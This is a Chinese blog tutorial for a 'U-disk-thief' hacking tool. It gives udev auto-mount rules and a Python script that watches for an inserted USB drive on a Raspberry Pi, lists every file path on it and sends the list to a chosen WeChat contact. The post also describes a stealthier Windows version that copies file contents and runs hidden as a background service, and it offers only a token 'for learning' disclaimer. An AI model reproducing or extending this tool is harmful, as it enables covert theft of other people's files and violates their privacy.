Python+树莓派 制作简单黑客工具U-disk-thief（U盘小偷）

斗战神

最近一直在学习Python爬虫，可能随着研究的深入，受到爬虫技术的感染，开始对获取别人的数据产生了兴趣，Python写网页爬虫是获取别人网站上的数据，那可不可以用Python写一个程序获取别人U盘上的数据呢！研究了网上的一些程序，结合手上的这块可以带来无限欢乐的Raspberry Pi，开始制作了我的第一个简单的黑客小工具U-disk-thief（U盘小偷）。

我们要实现的效果是，当有U盘插入到树莓派的USB插口上时，被插入的U盘中文件的名称及文件路径信息将生成一个TXT格式的文件，之后传入到你制定的微信当中，程序执行的速度取决于U盘中文件个数的多少。

在这里做一个说明，写这个程序并不是要对别人的数据及隐私进行扒窃，只是为了对Python编程的学习和技术的研究。话又说回来，就我周围这些人的U盘，也没什么有价值的数据值得获取，反而是U盘里携带着各种蠕虫病毒和宏病毒，经常是过来找我帮忙给U盘杀毒或者是恢复U盘里被隐藏的文件，真是不愿意将这些U盘链接到电脑上！好了，话不多说，开始我们的制作过程吧！

1.准备材料
（1）树莓派
（2）两部可以登录微信的智能手机（分别用于登录两个互为好友的微信号）
（3）U盘一个



2.树莓派链接U盘自动识别
由于树莓派上安装的是Linux系统，无法对插入的U盘进行自动识别并挂在，在制作前需要在树莓派上进行设置，实现链接U盘自动识别，方法如下：
在树莓派上输入命令

1. sudo nano /etc/udev/rules.d/10-usbstorage.rules

复制代码

复制粘贴这个脚本到编辑窗口

1. KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"  
   
2.    SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"
   
3.    IMPORT{program}="/sbin/blkid -o udev -p %N"  
   
4.    ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"
   
5.    ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"  
   
6.    ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"  
   
7.    ACTION=="add", ENV{mount_options}="relatime,sync"  
   
8.    ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"  
   
9.    ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"  
   
10.    ACTION=="add", RUN+="/bin/mkdir -p /media/%E{dir_name}", RUN+="/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}"  
    
11. 
    
12.    ACTION=="remove", ENV{dir_name}!="", RUN+="/bin/umount -l /media/%E{dir_name}", RUN+="/bin/rmdir /media/%E{dir_name}"  
    
13.    LABEL="media_by_label_auto_mount_end"
    
14. 
    

复制代码

  
保存退出!

再次插入U盘设备 会自动挂载到/media目录下面的目录被识别为Untitled-sda1（路径为/media/Untitled-sda1,记住这个路径，一会我们将会用到）， 实现自动识别后可以支持U盘中utf8格式的中文文件名。

3.python代码

1. import os
   
2. import time
   
3. import shutil
   
4. import string
   
5. from wxpy import *
   
6. #识别到的U盘路径
   
7. USB = '/media/Untitled-sda1'
   
8. #生成TXT文件的保存路径
   
9. SAVE = '/home/pi/usbdisk-copy/'
   
10. OLD=[]
    
11. #初始化微信机器人
    
12. bot = Bot()
    
13. my_friend = bot.friends().search('高杆')[0]
    
14. #获取U盘信息的函数
    
15. def usbWalker():
    
16.     if not os.path.exists(SAVE):
    
17.         os.mkdir(SAVE)
    
18.     filename="u-copy.txt"
    
19.     f=open(filename,"w")
    
20.     for root, dirs, files in os.walk(USB):
    
21.         for file in files:
    
22.             export = os.path.join(root,file)
    
23.             f.writelines(export+'\n')
    
24.     f.close
    
25. #检测U盘是否重复的函数
    
26. def getusb():
    
27.     global OLD
    
28.     NEW=os.listdir(USB)
    
29.     if (len(NEW)==len(OLD)):
    
30.         return 0
    
31.     else:
    
32.         OLD=NEW
    
33.         return 1
    
34. #执行程序检测U盘是否插入，并进行处理！
    
35. while TRUE:
    
36.     if os.path.exists(USB):
    
37.         if getusb():
    
38.             try :
    
39.                 usbWalker()
    
40.                 try:
    
41.                     my_friend.send_file('u-copy.txt')
    
42.                 except:
    
43.                     my_friend.send('Send Error')
    
44.             except:
    
45.                 pass
    
46.     else:
    
47.         pass
    
48. #设置程序执行间隔时间为10秒
    
49.     time.sleep(10)

复制代码

4.代码解析

程序代码比较容易理解，首先是检测指定的系统路径下的文件夹是否存在，也就是U盘插入显示的文件夹USB=/media/Untitled-sda1，若不存在就间隔10秒再次执行检测，若发现U盘，则执行获取U盘信息的函数def usbWalker()，函数将生成一个u-copy.txt的文本文件存储在'/home/pi/usbdisk-copy/'路径下，注意这里的usbdisk-copy文件夹是我们提前建好的，并且Python程序文件也存储在这个路径下，u-copy.txt文件生成后将发送到制定的微信中。若U盘一直插在树莓派上，则一直进行着程序，这样就会反复生成u-copy.txt文件，这样很不合理，所以在执行生成txt文件函数前，先执行检测U盘是否重复的函数def getusb()，进行简单的重复比较，若发现重复则不执行def usbWalker()函数。

5.应用扩展

这个程序同样可以修改后在windows系统上执行，修改代码增加文件拷贝函数，不但可以读取到U盘的文件名称和路径，还能copy文件详细内容，或者可以指定copyU盘中那些类型的文件（.doc/.xls/.ppt/.txt......），也可以省去微信发送的环节，将copy的文件存储起来，由于树莓派的存储空间比较小，这里没有这么做，但是我在windows系统上完成了上述扩展的程序，并且用Python的打包工具pyinstaller 将程序打包成了.exe执行程序,还设置成windows的本地服务后台运行，这样就可以更加神不知鬼不觉的获取U盘数据。

以上就是这个简单的黑客小工具制作，这里纯粹是为了技术的分享，若你用这种方式做了一些bad thing，请后果自负，是不是脑袋里已经想着要copy谁的U盘啦！慎重、慎重！！！